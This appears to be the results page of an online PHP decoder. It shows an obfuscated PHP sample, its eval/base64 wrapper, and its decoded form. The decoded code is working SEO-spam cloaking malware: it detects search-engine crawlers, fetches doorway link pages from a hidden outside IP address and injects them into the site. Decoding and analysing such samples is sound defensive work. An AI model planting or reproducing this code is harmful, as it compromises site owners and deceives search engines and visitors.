Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OO..
Decoded Output download
if (preg_match('/google|yahoo|msn|robot|bing|aol|spider/i', $_SERVER['HTTP_USER_AGENT'])){$root = "http://".hexdec("42").chr("46").bindec(hexdec("a7d925")).chr("46").octdec(hexdec("169")).chr("46").bindec(hexdec("a98a63"));$project = "<!-- HTML 3.51.251 -->";if (@extension_loaded('curl')){$method = "curl";}else{$method = "fgc";}$server_host = @$_SERVER['HTTP_HOST'];$url = $root."/_doorways/map/$server_host.html";$url2 = $root."/_doorways/map/map.html";$map = getUrl($url, $method);if (preg_match('/href/i', $map)){echo $map.$project;}else{$map = getUrl($url2, $method);echo $map.$project;}}function getUrl($url, $method){if ($method=='curl'){$curl=@curl_init();@curl_setopt($curl,CURLOPT_URL,$url);@curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,15);@curl_setopt($curl,CURLOPT_TIMEOUT,15);@curl_setopt($curl,CURLOPT_VERBOSE,0);@curl_setopt($curl,CURLOPT_HEADER,0);@curl_setopt($curl,CURLOPT_NOBODY,0);@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);$html=@curl_exec($curl);@curl_close($curl);return $html;}else{$html=@file_get_contents($url);return $html;}}Did this file decode correctly?
Original Code
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x10b4;eval($OOO0000O0('aWYgKHByZWdfbWF0Y2goJy9nb29nbGV8eWFob298bXNufHJvYm90fGJpbmd8YW9sfHNwaWRlci9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHJvb3QgPSAiaHR0cDovLyIuaGV4ZGVjKCI0MiIpLmNocigiNDYiKS5iaW5kZWMoaGV4ZGVjKCJhN2Q5MjUiKSkuY2hyKCI0NiIpLm9jdGRlYyhoZXhkZWMoIjE2OSIpKS5jaHIoIjQ2IikuYmluZGVjKGhleGRlYygiYTk4YTYzIikpOyRwcm9qZWN0ID0gIjwhLS0gSFRNTCAzLjUxLjI1MSAtLT4iO2lmIChAZXh0ZW5zaW9uX2xvYWRlZCgnY3VybCcpKXskbWV0aG9kID0gImN1cmwiO31lbHNleyRtZXRob2QgPSAiZmdjIjt9JHNlcnZlcl9ob3N0ID0gQCRfU0VSVkVSWydIVFRQX0hPU1QnXTskdXJsID0gJHJvb3QuIi9fZG9vcndheXMvbWFwLyRzZXJ2ZXJfaG9zdC5odG1sIjskdXJsMiA9ICRyb290LiIvX2Rvb3J3YXlzL21hcC9tYXAuaHRtbCI7JG1hcCA9IGdldFVybCgkdXJsLCAkbWV0aG9kKTtpZiAocHJlZ19tYXRjaCgnL2hyZWYvaScsICRtYXApKXtlY2hvICRtYXAuJHByb2plY3Q7fWVsc2V7JG1hcCA9IGdldFVybCgkdXJsMiwgJG1ldGhvZCk7ZWNobyAkbWFwLiRwcm9qZWN0O319ZnVuY3Rpb24gZ2V0VXJsKCR1cmwsICRtZXRob2Qpe2lmICgkbWV0aG9kPT0nY3VybCcpeyRjdXJsPUBjdXJsX2luaXQoKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VUkwsJHVybCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsMTUpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1RJTUVPVVQsMTUpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1ZFUkJPU0UsMCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfSEVBREVSLDApO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX05PQk9EWSwwKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTskaHRtbD1AY3VybF9leGVjKCRjdXJsKTtAY3VybF9jbG9zZSgkY3VybCk7cmV0dXJuICRodG1sO31lbHNleyRodG1sPUBmaWxlX2dldF9jb250ZW50cygkdXJsKTtyZXR1cm4gJGh0bWw7fX0=')); Function Calls
| urldecode | 1 |
| base64_decode | 1 |
Stats
| MD5 | f7327ff318f63b77a38a8525878d82b0 |
| Eval Count | 1 |
| Decode Time | 104 ms |